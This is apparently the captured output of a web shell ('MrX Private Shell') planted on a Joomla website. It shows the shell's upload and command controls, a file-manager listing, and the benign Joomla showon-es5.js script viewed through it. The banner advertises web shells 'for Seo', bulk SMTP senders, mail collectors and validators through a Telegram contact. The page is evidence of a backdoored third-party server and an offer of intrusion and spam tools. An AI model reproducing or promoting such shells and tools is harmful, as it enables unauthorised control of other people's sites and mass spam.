__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
(function () {
  'use strict';

  /**
   * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
   * @license    GNU General Public License version 2 or later; see LICENSE.txt
   */

  /**
   * JField 'showon' class
   */
  var Showon = /*#__PURE__*/function () {
    /**
     * Constructor
     *
     * @param {HTMLElement} cont Container element
     */
    function Showon(cont) {
      var _this = this;

      var self = this;
      this.container = cont || document;
      this.fields = {// origin-field-name: {
        //   origin:  ['collection of all the trigger nodes'],
        //   targets: ['collection of nodes to be controlled control']
        // }
      };
      this.showonFields = [].slice.call(this.container.querySelectorAll('[data-showon]')); // Populate the fields data

      if (this.showonFields.length) {
        // @todo refactor this, dry
        this.showonFields.forEach(function (field) {
          // Set up only once
          if (field.hasAttribute('data-showon-initialised')) {
            return;
          }

          field.setAttribute('data-showon-initialised', '');
          var jsondata = field.getAttribute('data-showon') || '';
          var showonData = JSON.parse(jsondata);
          var localFields;

          if (showonData.length) {
            localFields = [].slice.call(self.container.querySelectorAll("[name=\"" + showonData[0].field + "\"], [name=\"" + showonData[0].field + "[]\"]"));

            if (!_this.fields[showonData[0].field]) {
              _this.fields[showonData[0].field] = {
                origin: [],
                targets: []
              };
            } // Add trigger elements


            localFields.forEach(function (cField) {
              if (_this.fields[showonData[0].field].origin.indexOf(cField) === -1) {
                _this.fields[showonData[0].field].origin.push(cField);
              }
            }); // Add target elements

            _this.fields[showonData[0].field].targets.push(field); // Data showon can have multiple values


            if (showonData.length > 1) {
              showonData.forEach(function (value, index) {
                if (index === 0) {
                  return;
                }

                localFields = [].slice.call(self.container.querySelectorAll("[name=\"" + value.field + "\"], [name=\"" + value.field + "[]\"]"));

                if (!_this.fields[showonData[0].field]) {
                  _this.fields[showonData[0].field] = {
                    origin: [],
                    targets: []
                  };
                } // Add trigger elements


                localFields.forEach(function (cField) {
                  if (_this.fields[showonData[0].field].origin.indexOf(cField) === -1) {
                    _this.fields[showonData[0].field].origin.push(cField);
                  }
                }); // Add target elements

                if (_this.fields[showonData[0].field].targets.indexOf(field) === -1) {
                  _this.fields[showonData[0].field].targets.push(field);
                }
              });
            }
          }
        }); // Do some binding

        this.linkedOptions = this.linkedOptions.bind(this); // Attach events to referenced element, to check condition on change and keyup

        Object.keys(this.fields).forEach(function (key) {
          if (_this.fields[key].origin.length) {
            _this.fields[key].origin.forEach(function (elem) {
              // Initialize the showon behaviour for the given HTMLElement
              self.linkedOptions(key); // Setup listeners

              elem.addEventListener('change', function () {
                self.linkedOptions(key);
              });
              elem.addEventListener('keyup', function () {
                self.linkedOptions(key);
              });
              elem.addEventListener('click', function () {
                self.linkedOptions(key);
              });
            });
          }
        });
      }
    }
    /**
     *
     * @param key
     */


    var _proto = Showon.prototype;

    _proto.linkedOptions = function linkedOptions(key) {
      var _this2 = this;

      // Loop through the elements that need to be either shown or hidden
      this.fields[key].targets.forEach(function (field) {
        var elementShowonDatas = JSON.parse(field.getAttribute('data-showon')) || [];
        var showfield = true;
        var itemval; // Check if target conditions are satisfied

        elementShowonDatas.forEach(function (elementShowonData, index) {
          var condition = elementShowonData || {};
          condition.valid = 0; // Test in each of the elements in the field array if condition is valid

          _this2.fields[key].origin.forEach(function (originField) {
            if (originField.name.replace('[]', '') !== elementShowonData.field) {
              return;
            }

            var originId = originField.id; // If checkbox or radio box the value is read from properties

            if (originField.getAttribute('type') && ['checkbox', 'radio'].includes(originField.getAttribute('type').toLowerCase())) {
              if (!originField.checked) {
                // Unchecked fields will return a blank and so always match
                // a != condition so we skip them
                return;
              }

              itemval = document.getElementById(originId).value;
            } else if (originField.nodeName === 'SELECT' && originField.hasAttribute('multiple')) {
              itemval = Array.from(originField.querySelectorAll('option:checked')).map(function (el) {
                return el.value;
              });
            } else {
              // Select lists, text-area etc. Note that multiple-select list returns
              // an Array here s0 we can always treat 'itemval' as an array
              itemval = document.getElementById(originId).value; // A multi-select <select> $field  will return null when no elements are
              // selected so we need to define itemval accordingly

              if (itemval === null && originField.tagName.toLowerCase() === 'select') {
                itemval = [];
              }
            } // Convert to array to allow multiple values in the field (e.g. type=list multiple)
            // and normalize as string


            if (!(typeof itemval === 'object')) {
              itemval = JSON.parse("[\"" + itemval + "\"]");
            } // Test if any of the values of the field exists in showon conditions


            itemval.forEach(function (val) {
              // ":" Equal to one or more of the values condition
              if (condition.sign === '=' && condition.values.indexOf(val) !== -1) {
                condition.valid = 1;
              } // "!:" Not equal to one or more of the values condition


              if (condition.sign === '!=' && condition.values.indexOf(val) === -1) {
                condition.valid = 1;
              }
            });
          }); // Verify conditions
          // First condition (no operator): current condition must be valid


          if (condition.op === '') {
            if (condition.valid === 0) {
              showfield = false;
            }
          } else {
            // Other conditions (if exists)
            // AND operator: both the previous and current conditions must be valid
            if (condition.op === 'AND' && condition.valid + elementShowonDatas[index - 1].valid < 2) {
              showfield = false;
              condition.valid = 0;
            } // OR operator: one of the previous and current conditions must be valid


            if (condition.op === 'OR' && condition.valid + elementShowonDatas[index - 1].valid > 0) {
              showfield = true;
              condition.valid = 1;
            }
          }
        }); // If conditions are satisfied show the target field(s), else hide

        if (field.tagName !== 'option') {
          if (showfield) {
            field.classList.remove('hidden');
            field.dispatchEvent(new CustomEvent('joomla:showon-show', {
              bubbles: true
            }));
          } else {
            field.classList.add('hidden');
            field.dispatchEvent(new CustomEvent('joomla:showon-hide', {
              bubbles: true
            }));
          }
        } else {
          // @todo: If chosen or choices.js is active we should update them
          field.disabled = !showfield;
        }
      });
    };

    return Showon;
  }();

  if (!window.Joomla) {
    throw new Error('Joomla API is not properly initialized');
  } // Provide a public API


  if (!Joomla.Showon) {
    Joomla.Showon = {
      initialise: function initialise(container) {
        return new Showon(container);
      }
    };
  }
  /**
   * Initialize 'showon' feature at an initial page load
   */


  Joomla.Showon.initialise(document);
  /**
   * Search for matching parents
   *
   * @param {HTMLElement} $child
   * @param {String} selector
   * @returns {HTMLElement[]}
   */

  var getMatchedParents = function getMatchedParents($child, selector) {
    var $parent = $child;
    var $matchingParent;
    var parents = [];

    while ($parent) {
      $matchingParent = $parent.matches && $parent.matches(selector) ? $parent : null;

      if ($matchingParent) {
        parents.unshift($matchingParent);
      }

      $parent = $parent.parentNode;
    }

    return parents;
  };
  /**
   * Initialize 'showon' feature when part of the page was updated
   */


  document.addEventListener('joomla:updated', function (_ref) {
    var target = _ref.target;

    // Check is it subform, then wee need to fix some "showon" config
    if (target.classList.contains('subform-repeatable-group')) {
      var elements = [].slice.call(target.querySelectorAll('[data-showon]'));

      if (elements.length) {
        var search = [];
        var replace = []; // Collect all parent groups of changed group

        getMatchedParents(target, '.subform-repeatable-group').forEach(function ($parent) {
          search.push(new RegExp("\\[" + $parent.dataset.baseName + "X\\]", 'g'));
          replace.push("[" + $parent.dataset.group + "]");
        }); // Fix showon field names in a current group

        elements.forEach(function (element) {
          var showon = element.dataset.showon;
          search.forEach(function (pattern, i) {
            showon = showon.replace(pattern, replace[i]);
          });
          element.dataset.showon = showon;
        });
      }
    }

    Joomla.Showon.initialise(target);
  });

})();

Filemanager

Name Type Size Permission Actions
fields Folder 0775
core-es5.js File 27.1 KB 0664
core-es5.min.js File 7.25 KB 0664
core-es5.min.js.gz File 3.01 KB 0664
core.js File 25.65 KB 0664
core.min.js File 7.49 KB 0664
core.min.js.gz File 3.08 KB 0664
draggable-es5.js File 6.11 KB 0664
draggable-es5.min.js File 2.09 KB 0664
draggable-es5.min.js.gz File 929 B 0664
draggable.js File 5.65 KB 0664
draggable.min.js File 2.39 KB 0664
draggable.min.js.gz File 969 B 0664
highlight-es5.js File 69.77 KB 0664
highlight-es5.min.js File 15.65 KB 0664
highlight-es5.min.js.gz File 5.5 KB 0664
highlight.js File 61.41 KB 0664
highlight.min.js File 14.13 KB 0664
highlight.min.js.gz File 5.23 KB 0664
index.html File 30 B 0664
inlinehelp-es5.js File 2.32 KB 0664
inlinehelp-es5.min.js File 714 B 0664
inlinehelp-es5.min.js.gz File 382 B 0664
inlinehelp.js File 2.1 KB 0664
inlinehelp.min.js File 647 B 0664
inlinehelp.min.js.gz File 359 B 0664
joomla-core-loader-es5.js File 8.35 KB 0664
joomla-core-loader-es5.min.js File 5.4 KB 0664
joomla-core-loader-es5.min.js.gz File 1.88 KB 0664
joomla-core-loader.js File 4.31 KB 0664
joomla-core-loader.min.js File 3.66 KB 0664
joomla-core-loader.min.js.gz File 1.16 KB 0664
joomla-hidden-mail-es5.js File 5.3 KB 0664
joomla-hidden-mail-es5.min.js File 2.65 KB 0664
joomla-hidden-mail-es5.min.js.gz File 1.1 KB 0664
joomla-hidden-mail.js File 2.14 KB 0664
joomla-hidden-mail.min.js File 1.32 KB 0664
joomla-hidden-mail.min.js.gz File 595 B 0664
joomla-toolbar-button-es5.js File 7.36 KB 0664
joomla-toolbar-button-es5.min.js File 3.51 KB 0664
joomla-toolbar-button-es5.min.js.gz File 1.36 KB 0664
joomla-toolbar-button.js File 3.07 KB 0664
joomla-toolbar-button.min.js File 1.69 KB 0664
joomla-toolbar-button.min.js.gz File 662 B 0664
keepalive-es5.js File 1.1 KB 0664
keepalive-es5.min.js File 429 B 0664
keepalive-es5.min.js.gz File 304 B 0664
keepalive.js File 1023 B 0664
keepalive.min.js File 577 B 0664
keepalive.min.js.gz File 311 B 0664
messages-es5.js File 16.88 KB 0664
messages-es5.min.js File 7.94 KB 0664
messages-es5.min.js.gz File 2.7 KB 0664
messages.js File 10.29 KB 0664
messages.min.js File 5.29 KB 0664
messages.min.js.gz File 1.66 KB 0664
multiselect-es5.js File 4.17 KB 0664
multiselect-es5.min.js File 1.94 KB 0664
multiselect-es5.min.js.gz File 686 B 0664
multiselect.js File 3.6 KB 0664
multiselect.min.js File 1.8 KB 0664
multiselect.min.js.gz File 645 B 0664
searchtools-es5.js File 19.29 KB 0664
searchtools-es5.min.js File 10.1 KB 0664
searchtools-es5.min.js.gz File 2.45 KB 0664
searchtools.js File 17.49 KB 0664
searchtools.min.js File 9.77 KB 0664
searchtools.min.js.gz File 2.42 KB 0664
showon-es5.js File 10.35 KB 0664
showon-es5.min.js File 3.47 KB 0664
showon-es5.min.js.gz File 1.24 KB 0664
showon.js File 9.41 KB 0664
showon.min.js File 3.35 KB 0664
showon.min.js.gz File 1.23 KB 0664
table-columns-es5.js File 6.71 KB 0664
table-columns-es5.min.js File 3.54 KB 0664
table-columns-es5.min.js.gz File 1.29 KB 0664
table-columns.js File 5.95 KB 0664
table-columns.min.js File 3.4 KB 0664
table-columns.min.js.gz File 1.24 KB 0664
Filemanager